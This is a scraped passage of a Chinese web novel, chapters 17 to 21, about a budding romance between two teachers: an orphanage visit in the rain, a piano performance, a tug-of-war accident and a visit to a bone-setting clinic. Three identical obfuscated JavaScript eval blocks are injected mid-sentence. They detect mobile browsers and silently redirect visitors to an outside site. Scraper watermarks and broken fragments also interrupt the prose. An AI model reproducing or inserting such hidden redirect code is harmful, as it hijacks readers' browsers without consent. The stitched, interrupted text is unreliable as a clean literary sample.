前段时间沈礼萍的妈妈出了事故,林筝墨虽不是班主任但略有耳闻。所以这位老人是.......沈礼萍的外婆? 年纪这么大了,还出来摆摊,原来是为了补贴家用。 林筝墨心头忽然不是滋味,“我还要帮别人带三份。” 简越睃她一眼,笑而不语。 老人像是没听见似的,嘟哝着:“干了四十年啦,小推车换了好几辆,前几年,礼萍她妈不让我做,让我退休,喏,现在还是出来做老本行,就是昨天嘛,有几个年轻人咧,没有付钱,也不知道是不是老了,记错了。” 木筷搅拌着辣椒油,面条交缠,在不锈钢盆里跳着舞,美食在雨声里悄然诞生了。 林筝墨以为老人没听到,又说:“奶奶,我也要三份。” 老人笑道:“听到的,那三份我送你们。” “不行不行。” 老人执意:“简老师零零总总也买掉几百份了,这三份我还是送得起。” 林筝墨和简越对视一眼,忽然觉得自己好像帮了倒忙,简越却了然似地点点头,应下: “那谢谢您了。” *< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621279|172086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 统共二十八份。 却不到一百六十元。 在这座物欲横纵的城市,有些真诚已经不值钱了。 沉甸甸的食物挂在车头左边,右边,林筝墨怀里还有一大包。 简越载着她,两人骑车混进瓢泼大雨中。 林筝墨依旧担忧着:“怎么消耗?” 简越点头,“别担心,我有办法的。” 简主任像是游戏里的引路人,总是知道下一步要做什么,尽管林筝墨对后续全然不知,兴趣却也被勾起来,好像同对方呆在一起,永远不会无聊似的。 如果没有简越,那她今天会在家宅一天,从白昼到黑夜,搂着一只猫,直到新的工作日来临,索然无味。 大概骑行十分钟,来到一栋老建筑,大门正中心写着几个大字:德智女子福利院。 大门有保安,但简越居然可以不打招呼直接进去。 下雨天,外面的空地没人,屋子里的人瞥见简越,忙起身出来招呼她:“回来啦?” 那是一个五六十岁的中年阿姨,对简越说话的语气相当亲切。 “回来了!”简越唇角荡漾着笑意,招呼着对方:“给她们带了点吃的,叫她们出来拿。” 那人转身说:“简姐姐来看你们了。” 小女孩儿们嘤嘤呀呀的,一窝蜂地涌出来,不顾老天爷在下雨,跑到简越身旁去拉她的手臂。 简越直笑:“小心点,小心点啦,拿着,快进去,别淋雨了!” “姐,你别淋到雨了。”小女孩儿把自己的手伸出来,悬在简越脑袋上。 “没淋到呢。”简越把车上的食物递给她们,“快拿着,过两天再来看你们。” “你马上就要走呀?” “对呀,我有事。” “过两天真的来吗?” “真的来。”简越下巴稍稍扬,催促道:“去,都进去。” 女孩儿们听话地跑进了屋,来不及避雨,又转过身来看简越和林筝墨,一个个眼睛清亮澄净,带着一点点好奇。 林筝墨云里雾里,不知道简越在福利院还有一层关系。 这人是社会关系网络图吗?谁都认识。 “我先走了!趁新鲜吃,这些东西不能过夜的!” “好,今天雨好大,你快回家了!但是你记得回来看我们啊。”旁边另一个女孩儿搭话:“另外一个姐姐也是,再见!” 林筝墨忽然被点名,下意识地点点头,露出温和的笑意。 随即,简越启动电动车,两人重新载入雨幕中。 雨下大了,暴雨倾盆而至,只听见噼里啪啦的雨声。 在巨大的白噪音中,林筝墨问简越:“你怎么认识这些福利院的小孩儿的?” 车还是继续开。 雨更大了。 恍惚中听见简越说: “不是认识,是家人。” “这是我家,我以前是孤儿。” 17.第十七章 第十七章 “这是我家,我以前是孤儿。” 林筝墨以为自己听错了,下意识发出一个疑惑的“嗯”? 雨声太大,简越提高了分贝:“我有先天性心脏病,亲生父母觉得我治不好,把我扔了。”随即又说:“后来被我现在的妈妈领养,带我做手术,让我成为机能正常的人,大概是这样。” 林筝墨第二次被震惊到。 震惊在于,觉得简主任这样的人,应该是家庭幸福,钱权相当,有支撑,有托举的家庭才能培养出来的孩子,她的身上有股淡然的底气。 却未想过是被抛弃过的人。 后视镜映射出简越的模样,阴雨天,淡漠的冷灰色让她的五官明晰起来,冰冷又艳丽。 林筝墨微怔,瞳仁里荡漾着情绪。 她不知道说什么。 待到简越连续穿梭两次红绿灯,才说:“那做手术会痛吗?” “会拉很长一道口子,从胸腔到上腹,但没有太大感觉,麻药后劲过了之后才会痛。”简越说完这句,反倒是笑了出来:“其实我童年过得还蛮幸福的,那是女子福利院,院长又很负责,算是一个大家庭吧,后来我妈领养我,也是一点没亏待我。” 林筝墨松了口气。潜意识里,她希望简主任有个相对幸福的童年。 “我有个朋友也有心脏病。”林筝墨想起了啊啊啊,“她也这么和我说,但我和她还没见过面。” 开车的人没说话,只是开车。 后座的人自顾自说:“其实你和我那个朋友有很多相似的地方。” 开车的人耳朵尖,听到了,却装傻,“嗯?你刚刚说什么?” “没。” 林筝墨没有勇气说第二遍了。 二十分钟后,电动车停在公寓门口。 林筝墨从车上下来,简越将留下的一份鸡丝凉面递给她,略带歉意地说:“抱歉了,说要带你吃饭,俩个小时都没吃上。” 林筝墨对食物需求度不高,不会有特别饿的时候。 “没事简主任,今天挺开心的。” 简越唇角挂着笑,“真的?” “真的。”林筝墨接过那份鸡丝凉面,望了一眼天空。 雨还在下,细雨绵绵,拉丝似的,让林筝墨想起了披萨里的芝士,那种热腾腾的甜物,她反而在这一刻饿了。 简主任还在车上,穿着那件可爱的雨衣,直勾勾看着她,等待她说再见。 林筝墨会意,那句“拜拜”分明已经快从喉咙里出来,却不知道怎么变了声道,以至于林筝墨最后说出来的话是: “你是不是饿了?” “嗯?”简越有点意外,点头,“对,饿了。” “要不要上去吃?”林筝墨发出邀请:“去我家。” 简越明显始料未及,眼睛里有那么一秒钟的不确定,但迅速答应下来:“好啊。” 她下一步动作就是下车,将车停靠在路边,雨衣和帽子一摘,干脆利落: “走吧。” 林筝墨觉得这人也是真性情,连推脱一句都不会么?当然她邀请她是真心实意的。 她俩往公寓里走,到大厅的时候林筝墨突然觉得自己冲动了。 她怎么会邀请简主任去她家呢?怎么会呢? 她是秩序感这么强的人,不会邀请不熟的人到家里去,所以简主任到底特殊在哪里,要让她破例。 想来想去得不到答案,觉得都怪今天的天气。 都怪下雨。 “你住几楼?” “八楼。” “喔。”简越伸手,“来给我提吧。” 林筝墨摇头,“不重的,我来就好。” 进入电梯,一人站一个角,狭小的轿厢内,空气被无限压缩,心情潮湿得不行,好像雨还在下似的。是回自己家,却无端紧张起来。 林筝墨觉得自己好拧巴,明明是自己邀请简主任的,就是没法做到大大方方。 她害怕极了....... “到了。” 她走在前,领着简越去开门,刚一开,听见猫叫,舒畅不少。有泡泡在,就不是两个人了。 “呀,你养猫啦?”简越第一次看实物,小猫咪,没有你我每天晚上还怎么给我老婆发照片? “对,它叫泡泡。” “泡泡,好可爱的名字。”简越站在门口呼唤它:“泡泡,小泡泡~” 泡泡一脸懵,一双眼睛像蓝宝石似的,坐在站在地上娇滴滴地回应着。 林筝墨捡起一双拖鞋递给简越,“简主任,先进屋吧。” 简越压下心头的亢奋,尽量保持冷静,做一个礼貌的客人,规规矩矩换好拖鞋,直到林筝墨让她坐沙发,她才坐。 “我给你倒杯水。” “好,麻烦了。” 客气得像第一次见面似的。 趁林筝墨去厨房,简越小范围观察了一下这里的布局。 空间并不大,却很有格调。林筝墨养花,有一个三排的木花架,上面整齐放着许多盆栽,看起来是海棠一样的东西。 靠近阳台的位置有一架木质钢琴,琴架上却放了一摞书,仿佛故意用书压住,刻意不去弹奏。 林筝墨倒好水过来,在简越旁边坐下,“喝水,简主任。” “谢谢。”简越收回视线,却忍不住问道:“你弹钢琴?” “偶尔弹。”林筝墨抿了一口白开水,木怔怔看着钢琴的方向。 林筝墨在钢琴上很有造诣,天赋异禀。从小就被推出去参加比赛,拿奖拿到手软。 曾经周京芳和林鸿最引以为傲的事情,就是家里柜子上的各种奖杯。 有一个钢琴老师说过:不管你女儿走不走这条路,钢琴绝对愿意忠于这样的钢琴手。 但林筝墨小小的公寓里没有一个奖杯,她不属于它们。 她不是不喜欢钢琴。她承认,那些音律也有动人之处,可艺术好像是周京芳和林鸿虚荣心的门面,她每得到一次成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629235|172086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就,那个开关就亮一次,点燃了他们,黯淡了自己。 “那你一般弹什么?” “什么都能弹。”林筝墨望向简越,“但我一般不弹。” “看出来了。”简越笑,“不然不会放这么多书。” “英语教案。”林筝墨自己也笑了起来,她将手里的马克杯放下,起身走到钢琴旁,将教案挪开,抬起琴盖,缓缓坐下,“弹一首给你听。” 简越的目光随她去了,落在她的肩膀上。 林老师的黑发随意搭在肩头,灯光落在发丝上,顺成一道柔亮的光,她的肩线笔直,双肩自然垂落在黑白键上,透着一股淡然自若的气场。 林筝墨和钢琴是绝配,黑白键是林筝墨,林筝墨就是黑白键。 清越悠扬的琴声飘进简越的耳朵里,是陌生的,从未听过的一首钢琴曲子。 哆来咪。 分不清。 可眼前却渐渐却浮现出一幅画面...... 有点像雨天,一条阴阴湿湿的小路,雨水拍打在泥土和草茎之间,小路弯弯曲曲,世界清空,延伸到一座温暖的房间。 简越听得入迷,视线里,纤长的手指在琴键上跳跃着,音符是一条线,牵连着简越的神经,如同林筝墨牵着她的手,带她一起舞蹈,令她对于这样爱恋不敢懈怠。 她们之间的爱情幻象,在此刻具像化起来。 简越觉得自己也变成钢琴的一部分,想成为黑白键之间的间隙,这样子林筝墨每按下一次琴键,她就可以看见她了。 琴声还在继续—— 弹琴的人只是随意兴起。 听琴的人已深陷其中。 直到声音戛然而止,简越也难以收回视线,无法再当一个礼貌的客人,眼神炙热到能烘干整个雨天。 林筝墨转过身来,一双美目望向她:“好听吗简主任?” “好听。”简越觉得语言真是世上最匮乏的东西,她觉得自己的心尖在发颤。 “但我弹过好多次了。”林筝墨说了一句意味深长的话:“就感觉不到好听。” “但我是第一次听。”简越觉得自己应该诚实些:“就觉得顶级的好听。” 林筝墨耳尖泛起微红,依旧不习惯如此直白的夸赞。 两人对望了几秒钟,目光交触着,忽然觉得对方的眼神都有些奇怪,雨还在下,多亏雨声,缓解了这种对视的尴尬。 简越收回视线,随意找了个话题:“所以你是一个人住?” “对。” “你对象呢?”——我问我自己。 “她很忙的。”林筝墨低下头,看着自己的手指,怔神又低喃道:“总是花很多时间陪我,但又没有真正陪我。” “什么意思?”简越似懂非懂。 林筝墨不想赘述,直接岔开了话题:“简主任呢?说说你吧。上次听张老师说.......” “说?”简越有种不好的预感。 “张老师说你要结婚了?” 18.第十八章 第十八章 谣言总是要跑得快些。 张老师那件事,简越原本只是为了替林筝墨挡一下炮火,没想到愈演愈烈。 张介绍的是一个三十岁的程序员,喜欢在网络上对简越吐油,土味情话满屏幕跑,简越每每打开聊天框都需要勇气,三顿饭都难以下咽。 碍于面子,一开始是礼貌回复,句句敷衍,没想到对方情商低,还是会错意。 他不会觉得简越真的喜欢他吧? “我结婚?”简越笑出声来,“八字还没一撇。” “啊。”林筝墨恍然大悟,“那就是谣言了。” “嗯。” “也对,我觉得……”林筝墨忽然打住,表情不自在起来,没了后文。 “你觉得?” 林筝墨想说,我觉得那些男的都配不上你,感觉你也不应该看得上它们啊。那天张老师说你满意得不得了的时候,我真的很惊讶。 可这样说的话,会显得很奇怪吧? 好像她已经暗中观察简越很久似的,尽管这是事实,但这也是秘密。 林筝墨岔开话题:“我觉得我们是不是该吃饭了?” “噢,我又忘了!”简越后知后觉自己是来这里吃饭的,要不是外面下雨,她哪里有资格坐在这里? 算了,别问太多。 做一个礼貌的客人吧。 两人坐在一起吃完鸡丝凉面,期间有一搭没一搭地聊着,都是工作上的事情,默契地不再谈及隐私。 饭后,简越将垃圾打包,不宜久留,准备撤场。 林筝墨站在玄关看她换好鞋,目送她离开。简越去摁了一下电梯按键,回过头发现林筝墨正倚着门框看她。 “回去吧林老师。” “嗯。”林筝墨只是点头,却没有回家的意思。 简越只好笑着问她:“忘了问你了,今天健身还满意吗?” 林筝墨颔首:“满意,下次还是周六吗?” “对,到时候我骑车来接你?” “麻烦你了。” 电梯门终于打开,简越挥挥手进去,厢门又阖上了,只剩下一条空寂的走廊。林筝墨转身,合上门,关于对简主任的目送还没停止,她一路径直往阳台走去,低头向下望。 窗外的雨还在下,烟青色的天空落下透明的雨,覆在地面上,又变成了烟青色,天地相应。 不一会儿,简主任提着一袋垃圾从大厅里出来,步伐迅捷,她走得快,纤瘦的身影很快被绿荫吃掉了,一直快到小区门口又出现了一下,最终彻底消失在林筝墨的视线里...... * 简主任离开后,林筝墨拿出MP3,斜躺在沙发上,点开一段独白。 耳机里,啊啊啊是这样说的: 亲爱的林筝墨,今天下雨了,不知道你听这条的时候,天气如何呢?录下这段语音,是在和你聊天后的五分钟,我现在躺在沙发,心血来潮又有些话想对你说。 不知道你是否还记得,我曾经问过你想要谈怎样的恋爱,你的回答是:像普通人一样,一帆风顺地恋爱。我一直以为一帆风顺是道别的时候说的,第一次听到这个词与恋爱挂钩。对于这个形容词我思考过无数次,脑袋里有了一副画面: 想在雨天和你待在一个小屋子里,泡泡就在我们旁边,我们窝在沙发上一起耗费时间,一直到太阳出来的时候,再一起期待下一场雨来临,就像这个世界上所有的情侣一样,普通但温馨。 不过,林筝墨,渴望一帆风顺意味着没有那么顺利。 所以你一定也有自己的烦恼吧?是这段感情里,我给你的安全感太少,还是生活中有什么东西让你担忧?我没有问过你。 不过,我和你一样,有那么一丁点儿的烦恼,见面的日子越来越近,我的担忧与日俱增。你一定又要问我为什么,我只能说自己很期待见面,但也承认自己不够坦率,无法解释为什么。 以及,期待见面的时候,一起看雨。 独白再次停止,静音的时候,林筝墨刚好听到雨声,这算不算一种时间上的默契? 她摘下耳机,眼睛凝视着半空,发了好一会儿的呆,才给啊啊啊发消息。 开场白是: 【想告诉你一件事。】 大致过了五分钟,啊啊啊才回复: 【怎么啦?】 【说起来有点儿别扭。】 【说来听听?】 【我之前确实有偏见。】 林筝墨这句话带着一点无厘头。 【我没看懂。】 【我想和我上司交朋友。】 啊啊啊发来一个笑脸,【噢!你觉得她和你想象中不一样是不是?】 【对,她人很好,所以我又约了她下周六一起健身。】 啊啊啊:【很好啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633820|172086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !!】 林筝墨松了口气,她觉得啊啊啊是了解她的,但不放心,又问了句: 【你不会生气吧?】 【当然不会!多和她出去玩玩吧!找到一个志同道合的人不容易。】 林筝墨沉思,志同道合还没到那个程度,但相处起来很舒服是真的,她在这个学校根本没有朋友,简越可以算第一个。 于是林筝墨切出聊天框,给简越发了句: 【简主任。】 【鸡丝凉面好吃。】 木讷讷,干巴巴,是属于不善交际的林筝墨的搭讪方式...... * 一周后,运动会照常举行。 轰天的呐喊震碎了塑胶跑道,抬眼便是充满活力的身影,作为老师偶尔还是会感慨:年轻就是好,好有激情。 林筝墨在办公室坐了大半天,闲来无事,打算去操场看看。 高一年级下午是集体拔河项目,1班的对手是2班。 林筝墨到的时候还没开始。 她站在哪里,哪里就有学生贴过来,为首的当然是头号迷妹赵筱筱。 “林老师林老师!”赵筱筱拉着沈礼萍跑过来,哼哼哈哈地笑:“我找了你好久!你终于来啦!” 沈礼萍看了眼林筝墨,小声说:“林老师好。” 林筝墨颔首示意。 沈礼萍很文静,性格和赵筱筱是两个极端,林筝墨印象中,她总是安安静静站在赵筱筱身边,听赵筱筱说话,然后默不作声笑着看向筱筱。 筱筱是小太阳,沈礼萍是小月亮。 “准备得怎么样?”林筝墨一只手搭在沈礼萍的肩膀上。 对于林筝墨突然的肢体接触,沈礼萍受宠若惊,不确定地抬了下头,发现林筝墨正笑着看她,顿时心里暖乎乎的。 “挺好的林老师。” “筱筱你呢?” “准备得超好!”赵筱筱背诵课文似的:“我和礼萍是有战略的!中午我们各自多吃了两碗饭,力气不够体重来凑!我表姐做的糖醋排骨还有鸡蛋虾滑那叫一绝!还有韭菜饺子,嘶溜嘶溜.......” 这孩子不知道怎么就说到吃的。 给她馋的。 赵筱筱正在兴头上,忽然眼睛一瞥,瞅见不远处一道身影过来,连带着分贝都小了一圈。 “我表......”忙收了一嘴:“简主任来了!” 19、第十九章 第十九章 “简主任来了!” 赵筱筱身子一偏,悄然躲在林筝墨身后,对简越挤眉弄眼。 林筝墨循声望去,简主任在人群中向来是显眼的,身姿秀丽挺拔,一双长腿很扎眼,林筝墨迅速挪开眼,装没看见。 余光却是发现简主任是往这边过来了。 无端紧张起来,这种紧张是下意识的。即便发现简主任挺好相处一人儿,但还是忍不住。 大约五六米的距离,简越再次出现在林筝墨的视线里。 林筝墨只好点头示意,主动招呼:“简主任。” “好巧。”简越声线清越,眼里荡漾着水光,那表情看起来好像两人的关系还......不错? 一旁,赵筱筱拧眉。 咦? 是她错过了什么剧情吗? 表姐这笑容…… 好奇怪啊! 表姐和林老师没有什么交集吧?至少她在学校没看到过。可现在怎么回事?表姐怎么脸都快笑烂了? 林老师也很反常,虽然林老师这人素来礼貌,但望向表姐的时候,露出的笑又是真心实意的,不像是那种浮于表面的客套。 她们之间好像暗藏着一股微妙的气场,但赵筱筱分不清是什么情愫。 这俩人什么时候熟络起来的? 筱筱的脑袋大大的问号。 简越在她们面前停下。 赵筱筱装模作样叫了声:“简主任。” “嗯。”简越的目光依旧在林筝墨身上,无视赵筱筱。 “简主任。”赵筱筱胆子大极了:“等会儿我们拔河您要记得给我们加油哦!” 简越绷着脸,“好的。” 装这么严肃!! 赵筱筱腹诽,拉着沈礼萍就溜。 “林老师,简主任,拔河要开始了!我们先走了!” 筱筱两人翩翩然离去。 林筝墨和简越肩并肩站在一起,最近几天,两人在网络上偶尔有聊天,但大多与健身相关,线下林筝墨还是不太习惯。 工作场合会自动代入上下级的关系,所以神经依旧绷得厉害,她甚至不敢看她。 倒是简越比较放松。 “你可来了,我一整天都没看见你。” “办公室坐着好无聊,就过来看看。”林筝墨细品那句话,心想,一整天没看见我?所以你在操场找过我?你找我干嘛?我们也没约啊。 头脑风暴。 简越看着前方两个班级,“林老师觉得1班会赢还是2班?” 2班不是林筝墨所教的班级,自然稍微偏袒1班一些。 “一班吧。” “我觉得二班。”简越扬唇笑,“打个赌好不好?一班赢我请你吃饭,二班赢你请我吃饭。” 绕来绕去,是要吃饭。 林筝墨不好拒绝,顺着接了下去:“好。” 俩人索性站近了看,同学们站成一条线,各自的班主任在两头坐镇,往那儿一站,有战斗那味儿了。 爆发力强的学生为头,重量级为尾。 “口号要统一,力气要往绳上使,人要往后仰。” 班主任哔哔叭叭说着攻略,人群中赵筱筱忽然看见林筝墨,朗声说:“林老师给我加油!” “加油~” “噢耶,注入美丽力量!” 简越看着自己表妹耍宝,又没办法当众训她。 无意之间,瞥见林筝墨的侧脸,发现林筝墨正在对赵筱筱笑。 唇角微微上扬,清冷的眉目化开,眉梢里带一点甜。 这不是礼貌的笑,是真心实意的笑。简越的心情跟着雀跃起来,学着林筝墨的腔调,对赵筱筱说一句:“加油!” 赵筱筱:“?” 也没让你给我加油啊。 随着两班归位,一声口哨响起,一股绳瞬间绷紧,几秒过后已经初见端倪,绳中心往二班的方向偏了偏,没办法,那个班的男生多一些。 眼见局势不妙,拉拉队撕破嗓子吼:“一班加油!加油!加油!加油加油加油!” 学生们咬紧牙,卵足劲,脚尖钉子似的钻进草坪里,一个个呲牙咧嘴的,有的痛苦到直接闭上眼睛,面目狰狞。 兴许是高呼海浪奏了效,绳子又拉了一截回来,变成了平局。 “123!拉!” “123!拉!” “123!拉!” 全世界都是“拉拉”。 拉到崩溃,拉到精疲力竭,眼见一班又陷入劣势,忽然之间不知道是谁吼了声:“能不能别这么厉害!老子的屎都拉出来了!!” 一语惊天雷。 原本严峻的场面忽然变得不可控起来,拉绳的人开始笑,一笑不要紧,传染了后面的人,一排人像是被点了笑穴,越笑越没劲。 “屎真的要蹦出来了啊!” “噗——” 一声巨大的屁,窜着稀屁噗屁噗。 香气四溢。 全场决堤。 “救命啊,有人拉裤兜里了吗?” “拉绳误入拉屎人!” “别说了我好想笑......” 赵筱筱逮这空隙,指挥起来:“对面松绳了,咱们别笑了!后面的快点拉!快!” “123!霍——” 一鼓作气一道力,硬生生将那根绳掰了过来。隔壁班泄了气,双手一松,这边一骨碌全倒下了。 一班最后站着那人是个胖子,人称胖哥。 前面的人往后倒,胖哥不想垫底,灵活地往后退,没退几步,弄巧成拙,绊了一跤,铅球似的往后摔去。 那时林筝墨站他身后,正在为胜利而开心,猝不及防一道黑影撞过来...... 胖哥一百六十斤,相当于两个林筝墨撞向一个林筝墨,简越一声惊呼,要帮忙挡,终究是慢了一步。 那实心屁股往林筝墨手上一撞。 人群惊鸟般散开,吓得众人呜呼! “胖哥!你干嘛!” “林老师林老师!” 林筝墨轻轻哎了一声,心想,她的学生是不是背着她偷偷练习了武林秘籍,快把她撞出内伤,这一撞,四分五裂,人魂升天。 固然是站不稳的,丢人势必是要丢人的,重心失衡,是快摔了。 她失去了所有力气...... 然而迎接她的不是坚硬的草坪,在所有人往后退的那瞬间,只有一个人主动向前,稳稳将她抱在怀里。 属于女性的柔软包裹着她,让林筝墨想起了小时候吃过的棉花糖。 视线里,天空湛蓝澄澈,恍然出现了一张秀丽的面孔,林筝墨下意识抓紧了对方的手腕。 她没摔。 准确来说,她摔在了简越的怀里。简越将她匝紧了,而她的手臂正贴着简越的前胸。 可没有所谓的偶像剧剧情,林筝墨现在特别尴尬,周围的学生全都看着她们。 “林筝墨!”简越眉梢紧蹙。 “啊?”被直呼大名表示很懵。 “你还好吗!?”简越倒吸一口凉气:“你的骨头好像.......咔了一声!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 20、第二十章 第二十章 “你的骨头好像.......咔了一声!!” 林筝墨应该是疼到失去知觉了,在简越提醒她后,手肘才传来钻心的疼,她试着抬了一下手臂,本就白皙的皮肤变得没了血色。 超。 级。 疼。 “林老师,对不起!”胖哥从地上爬起来,一脸愧疚,他见林筝墨表情不对,意识到自己闯了多大的祸,“林老师,你别吓我!对不起!我错了!” 一班的学生们来不及庆祝,一窝蜂全部挤过来,劈头盖脸对着胖哥发起进攻,场面一度混乱。 “注意点儿啊!” “林老师的手都动不了了!” 胖哥一脸窘迫,饶使有人骂他,觉得自己有错不敢发言。 林筝墨觉得是挺倒霉的,但让学生成为众矢之的绝对不是她所希望的,这件事也怪不了学生。 “他退的时候没看到,他也不是故意的。” 一旁简越的心都快碎了,林筝墨本来就瘦,这么一撞估计不轻。趁着混乱,她迅速检查了一下林筝墨的手,发现林筝墨的骨头有异样的凸起,情况不妙。 “你先别动。”简越让林筝墨保持原来的姿态,“我带你去医院。” 赵筱筱从人群中跑出来,一脸惊容:“林老师!你怎么了!” 说着,筱筱急急忙忙跑到林筝墨旁边,蹲身就要背她:“林老师,快!我背你去医院!” 简越:“......” 轮到你了? 走开。 “同学,让一下。”简越轻拍赵筱筱的肩膀,示意她闪人,抬眼又说:“四面的同学都散开。” 简主任不笑的时候威严尚在,大部分学生比较怕她,自然不敢吱声,迅速往后退,让开一条道来。 “我背你。”简越走到林筝墨身前,“上来。” 装作淡定,早就心急如焚,奈何学生太多,不敢表现出来。 “简主任......”林筝墨迟疑,她是手断了,不是腿断了。但确实已经疼到连走路都不想走的地步。 可是要简主任背?这样好奇怪。 简越压低声线:“不要浪费时间,听话。” 围观的学生越来越多,还有老师要过来帮忙的趋势,林筝墨不敢抗逆,一只手搭在简越的肩膀上。 简主任的肩膀瘦瘦薄薄的,骨头咯在林筝墨的手臂上,在贴近那瞬间,简越将林筝墨的手往前拉了拉,林筝墨循着那道力,上半身与之贴合,贴在柔软的背脊上,觉得心尖发烫。 简越固定好林筝墨上半身,两只手穿插过林筝墨的腿,稳稳圈住她,随即,林筝墨的视线忽然升高,发现已经在简越的背上了。 学生们投来关切的目光。 林筝墨安慰她们:“我没事,你们继续。” 简越全程没说两句话,反应正常到像一个普通同事,淡定到甚至看起来有些不情愿。在所有人看来,因为她是年级主任,才不得不管这件事的。 直到走出操场,表情才有了破绽。 无人在意的角落,简越眼眶泛着湿润。 “小林,很疼吗?” “嗯。” “你要是忍不住就抓我。” “没事。” 林筝墨不太习惯这个姿势,自成年之后,她显少与人肢体接触,这样亲昵更是少之又少。 她的前胸和简主任的后背就像两张沾了水的纸,湿润润地贴在一起,呼吸时腹腔抵住对方的背脊,隔着薄薄的衣料可以感受到彼此的温度。 林筝墨的脸忽然有点烫,庆幸还好简越看不到她的表情,她抬起头往天上看,校园林荫道的树遮挡了视线,阳光从树缝里掉落下来,正好落在琥珀色的眼睛里,光晕在她瞳仁里游泳、晃荡。 手好痛啊。 但是简主任身上的香味又中和了这种痛苦。 可是又觉得,在这样难堪的情况下,重心居然在对方的气味上,实在诡异。 她恍然又听到简越厚重的呼吸声。 再低下头时,惊觉简越走得这么快。 “简主任,你慢点,不急的。”林筝墨一只手挂在对方的脖子上,好像这样疼痛就暂时搁置了似的。 “急。”简越早就腾出一只手打电话,语速比平常快几倍:“我们快到学校门口了,我马上带她过来,对,我看过了,应该是错位了。” 她挂断电话,又立马关心起林筝墨来。 “现在呢?是不是更疼了?” 林筝墨望着对方的后脑勺,温和道:“没有。” 简越一针见血:“你不要逞强,现在没有学生的,疼就直接说。” “好吧,挺疼的,但是没有刚刚那么疼了。” 因为你这么关心我,所以我没有那么疼了。 距离学校门口只有二十几米,简越背着林筝墨,几乎是小跑起来。对面停着一辆白色轿车,车窗摇下来,是赵老师。 “简主任,您的车——” “她坐副驾。”简越把林筝墨安置在副驾位,绕到驾驶位,“赵老师,麻烦您坐后排,我来开车吧。” 赵铭讪笑,连忙起开。 嗯嗯,他懂,他只是一个帮忙挪车的! 先前,简主任匆忙拨来一通电话,说自己的车钥匙放在办公室抽屉里,让他务必百米冲刺!这不是女皇的奴才是什么? 赵铭下了车,非常识趣:“简主任,我还有事,我就不去了。” “嗯,我们俩就行,你辛苦了。” “不辛苦。” 简越发动引擎,眼神都没递一个,不到两秒车就开走了....... 赵铭望着远去的车,感叹:新时代之新奴才——挪车仔! * 简越开了三公里的车,带林筝墨来到一家名为“简氏正骨”的诊所。 这地方很有名,整个南城都知道。虽不是什么大医院,但医生的手法绝对精湛。 林筝墨松了口气,应该是来对地方了。 还好是下午,过了最忙的时候。 诊所里满墙都是锦旗:【最强妙手】【正骨大师】【骨神】,当然还有一些不起眼的妙手回春和医者仁心之类的。 空间不算大,诊室里也只是一张普通的檀色木桌,隔壁是几盏床,天花板上钉了几个钩子,挂上一道白布绳,有点像体操运动员的手环。 人称:这吊环不是来上吊的,脖子往这儿一搁,笑呵呵。 而这位闻名遐迩的医生,是一位五十多岁的女人,白大褂,头发向后束起,眉目清泠,以面相看来,气质非凡,冷静又宁和。 她叫简桑。 是简越的养母。 很多年前,简越还没有自己的名字,是在简桑走进福利院那一刻开始,简越才叫简越的。 十分钟前,简越匆匆忙忙一个电话,让简桑一定要留出时间来,说是有一位很重要的同事手骨错位了。 此刻,“很重要的女儿”扶着“很重要的同事”,匆匆降临。 简桑悠悠抬眼,望向这位“很重要的同事”,纤纤细骨,眉眼秀丽,连蹙眉的时候都那么文雅,是一个瘦弱到多看一眼都会让人怜惜的女孩儿。 简越扶她坐下,开门见山:“妈,妈,她手错位了,你快给她看看!!” 妈? 林筝墨猝不及防:“?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 21、第二十一章 第二十一章 简桑在南城很有名气,若是骨头真的出了点问题,左推右荐,最终准跑到她这里来。 简医生有一江湖独法绝术——摸骨正位。 浑身上下那骨头一摸,哪里没到位,人家真的能给你咔一下。 “妈,你快给她看看!” 这一声“妈”,吓了林筝墨一跳,腰背不自觉挺直了些。 难怪先前简主任进来的时候,那步伐熟练得像进家门。 所以当年收养简主任的女人居然是...... 林筝墨抬眼,视线与简桑撞上,对方眸子里漾着温柔的光,缓声说:“姑娘,我瞧瞧你的手。” “好。” “可能会有一点疼。” 林筝墨点点头,不作声。简桑的手贴上来,从林筝墨手腕的位置向上,一路轻轻捏着,问她痛不痛。 “有一点。”简桑捏到拐角处,林筝墨忽然说:“这里痛,好痛。” “妈,你稍微轻点......”简越在旁边嘟哝着。 简桑:“?” 呵。 没见过她这么关心人呢。 简桑与林筝墨聊着天:“你叫什么名字?” “林筝墨。”林筝墨心不在焉地回答着。 “林筝墨,林老师教哪一科呢?” “英语。” 